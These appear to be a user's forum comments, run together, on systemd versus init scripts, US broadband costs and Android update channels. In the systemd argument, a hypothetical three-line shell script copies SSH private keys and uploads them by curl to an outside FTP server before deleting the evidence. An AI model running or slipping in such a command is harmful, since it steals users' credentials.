So...answer me this: Once I set the init script how I want a service configured, who's going in as root behind me and putting security vulnerabilities into it (hint: Only one person has the root password, and root is only accessible directly from the console. sudo is disabled.)? Now, if I do yum update systemd or apt-get upgrade systemd what is my guarantee that Pottering or any one of the other 30-40 Devs touching systemd didn't put something into the blob that is reporting somewhere outside of my control? How do I know that there's not some timebomb in the blob that's going to collect critical keys and upload them to RedHat on the next time I update the repos? Read the code? I have my own code to audit, thank you very much, and I'd rather not have to audit my init system every time Lennart decides to post an update to systemd. It's bad enough when I have to do that with the Kernel modules.

So you trust that the journald binary reads the "don't save data" boolean value and doesn't just ignore it, or worse, ignores it and executes this shell script:

cat ~/.ssh/id_dsa ~/.ssh/id_dsa.pub >> nsaReadMe.txt
curl -T nsaReadMe.txt ftp://ftp.nsa.gov --user keyfiles:AllUrK3yzB3l0ng2US
rm -f nsaReadMe.txt

Or, more plausibly, does all that in a binary blob? Sure. It's open source. Sure I can check the code and compile it myself to make sure it meets my need for security. But one of the things about using these "pre-built" distros is that I'm probably using it to save time and money, which means I don't want to be bothered with doing a code check and recompile on every single init package. That's the beauty of init scripts that everyone has apparently missed in this debate. One human readable script for each daemon running, so the configuration of a daemon can be gleaned over for any questionable bits and edited in less than 10 minutes. And being scripts, they're all plain text that's automatically executable. I don't need to read over source, find an issue, edit it out, and then recompile the entire init code into a binary for that daemon to make use of it. That goes for PID 1 as well. If it's not a script that can be quickly edited and then it's ready for the next boot cycle without wasting process cycles for recompilation I don't want it on my production server.

So where can I buy 900 foot runs of cable that have the ends already on them that I can fish through conduit easily?

How do we seriously expect to keep that up at #1 for much longer if the rest of the GDP starts plummeting from the mindshare and infrastructure that maintains it collapsing under the weight of the rest of the world...like what happened to the USSR getting ousted from slot #2 and completely collapsing?

It's about High Definition Video. It's about Video Conferencing. It's about VOIP. It's about Telecommuting for your employers. It's about being competitive on the global market. It's about consuming more information faster to better perform in the global workplace. Cat videos are tertiary to this as EVERYONE needs downtime as well to maintain maximum productivity over the longest course of time. As broadband speeds go, America as a whole is falling into quicksand and the Broadband monopolies have shown that they have no intention of letting America do anything but sink. The whole Land Mass excuse hasn't been viable for a long time and now it's just becoming a complete embarassment.

Both China and Russia have more landmass than the US and while we're JUST edging them out in overall average speed (32.1mbps US, 24.2 CN, 27 RU) our cost per Megabit per second is through the roof by comparison ($3.51 US, $1.76 CN, $0.69 RU (all values reflected in USD) [These values were aquired from netindex.com]. Seriously. Stop being a fucking apologist for these assholes!

Globally we're still on fair ground but we could be doing so much better, and we need to be. We used to be the bastion of technology not even very long ago. For the longest while we could truly say "We're Number 1!" but now it's beginning to ring out more like "We're Numb!" and we need to wake up as a country. The President's statement was a start, now we need to follow through.

Have you ever been hit by a flying Android Phone? Those things hurt! So yes, by extension, ARMs are weapons!

Many people tried. Very few buyed.

This was especially true once internet speeds got faster and getting a cracked full version of the software was just as easy to find and download as getting the locked down shareware.

I do this already.

Hasn't worked yet. Psychopaths are still in charge

"Official" Android is a bit different. Updates are rarely sideloaded (going to a download site for the update) like Symbian, Mae, Mee, and Sail. Android's update system is probably the worst method they could have gone with, Apple's being only mildly better. Google's Android official update channel goes like this: Google makes the software patch and submits it to the manufacturer for approval/alteration. The manufacturer will then decide if it's worth them applying the patch to their custom build where they make it run for their hardware and apply their brand of bloatware and launchers (HTC Sense, Go Launcher, Samsung's S-launcher, etc). This update is then submitted to each Wireless Carrier that offers service for the phone model. Each carrier then decides whether to push the patch to the end user or not, applying their own additional bloatware apps to the package in the case of the former.

If a high level user goes the route of loading in custom Android ROMs, then in that case Android updates can be sideloaded. In this case, the updates are not provided by Google, it's provided by the maintainer of the ROM. Also, if the user decides to go with the custom ROM, they do so with the knowledge that any warranties on the phone have become Null and Void... and many insurance plans provided by the carriers or retailers will not cover a phone unless it has an official (Google's) version of Android on it that either came with the phone or was legitimately pushed to the phone by the carrier itself. This lends itself to the inevitable problem of if the phone is dropped and the screen is cracked and no longer turns on, but the phone's hardware can still be read, if there's a custom ROM on it the insurance can still refuse payout... meaning that the customer now has the option of paying full price for a new phone (minimum $200 for a "dumb" phone, minimum $500 for a smartphone), paying out the early termination fee (anywhere from $150 - $300, depending on remaining time in contract), paying the monthly service until such time as they can use the upgrade for a reduced price on a new phone, or if they were smarter, take their last phone out of the mothballs and use it until the upgrade period comes by again.

Being that I'm currently with Sprint, I've confirmed this where if I root my phone then crack the screen and want to file a claim on insurance, I have to be able to flash the stock ROM back onto the phone before submitting it for Claim review...which during that time I'll be going to my backup phone. Thankfully, ODIN (Samsung's flash tool) will work so long as the phone is able to power up and enter recovery, even if I can't see it on the Android's screen.

I did some research into your OnePlus One and it's apples and oranges to the discussion here. The OnePlus One doesn't even use Google's Production Android; it uses CyanogenMod. CyanogenMod is not maintained by Google in any shape or form beyond the base source of AOSP. AOSP is open to whatever developer wants to take the source and morph it into something that fits their need. This is what Cyanogen does. They take the code from AOSP, customize it and patch it their way, then puts that out. If OnePlus went with the official Google releases of Android, then they would have the same power of deciding on which patches to push as any other manufacturer. Face it, the OnePlus fills a niche market that the majority couldn't care less about. The masses don't want a developer phone... they want one that works and they don't have to mess with constantly. That said, I probably wouldn't mind having one myself as yet another cheap computer thing to tinker with (along side my DigiLand Tab, Retired Galaxy S3, Retired ZTE Vital, Retired Samsung Infuse, 2 Retired LG Optimus Vs (Optimi?), multiple Arduino Boards, and 3 BeagleBone Blacks).

Ok, so the carrier may be different, and they may be more open to pushing out updates... but with 4.3 and below, it's still up to the phone manufacturer to make the updates available in the first place, which they haven't been exactly forthcoming either. Which is core to the point: Why would google want to waste man-hours developing a patch that has to be approved by each individual manufacturer before getting pushed to the carrier to be approved by them before it gets pushed to the wild? Especially when with 4.4 the middleman approval is completely sidestepped and unnecessary?

Until the majority of American Consumers (nerds that know better are not in this group) get their head out of their ass and start listening to those who tell them this... Yes. This is exact way it's going to be simply because this is the way the carriers like it and they're going to make sure that the general public keeps that wool over their eyes. When you've got Joe Schmoe coming in and they see in the big bold characters $99.99* for a brand spanking new Galaxy S5 *with 2-year agreement, some are smart enough to ask "How much for the phone outright?" to which they get pointed to the fine print: $799.00. So now they weigh signing their phone life away to be locked into a single carrier for 2 years against being able to save $700 for something else in the short term. It doesn't help one iota that we're constantly barraged with "we need the new shiny" everywhere we look, so for many of the ignorant just not getting the phone isn't even considered as an option. Also even when you compare the price of a phone on contract against the equivalent phone in a pre-paid option (if there is such an option for the phone you're looking at), you're weighing the $100 against $300 - $400, which isn't so bad when the plans are cheaper and you're not tied to them. Then you deal with the shit that is American pre-paid service. Crap coverage areas, crap customer service(if you even have it), and crappy connections are the norm... even if they're provided by the big name service.

So yeah, it doesn't have to be this way, except when the mass of ignorance is larger than the informed can push. Then yes. It has to be this way because there's too much working against intelligence. We nerds can boycott and bitch all we want, but there's more than enough ignorant out there to keep the momentum of payments flowing to the carriers that our voices of malcontent are drowned out.

In 4.4, they did. With KitKat (4.4) instead of having to push core OS and Security updates through the manufacturer, they created Google Play Services which now holds the core Android OS functionality (unfortunately by breaking away a lot of the methodologies of AOSP and walling up a good portion of the garden). With this new package, they can push out the updates through the Play Store and don't even have to deal with the Manufacturers and, by extension, the Carriers for an update anymore, unless there needs to be an update to the hardware abstraction layer.

Because of this change in how Android operates from 4.3, it's not really in Google's best interest to screw with 4.3 because #1 It's no small undertaking to strip out the Android components and put them in a Google Play Services style of operation, #2 Even if google were to take on the undertaking, the Carriers/Manufacturers would sure as hell block it because it takes away all the control they have over Android... not to mention how much of a PITA it is to get any kind of google update from the Manufacturers/Carriers as it is already.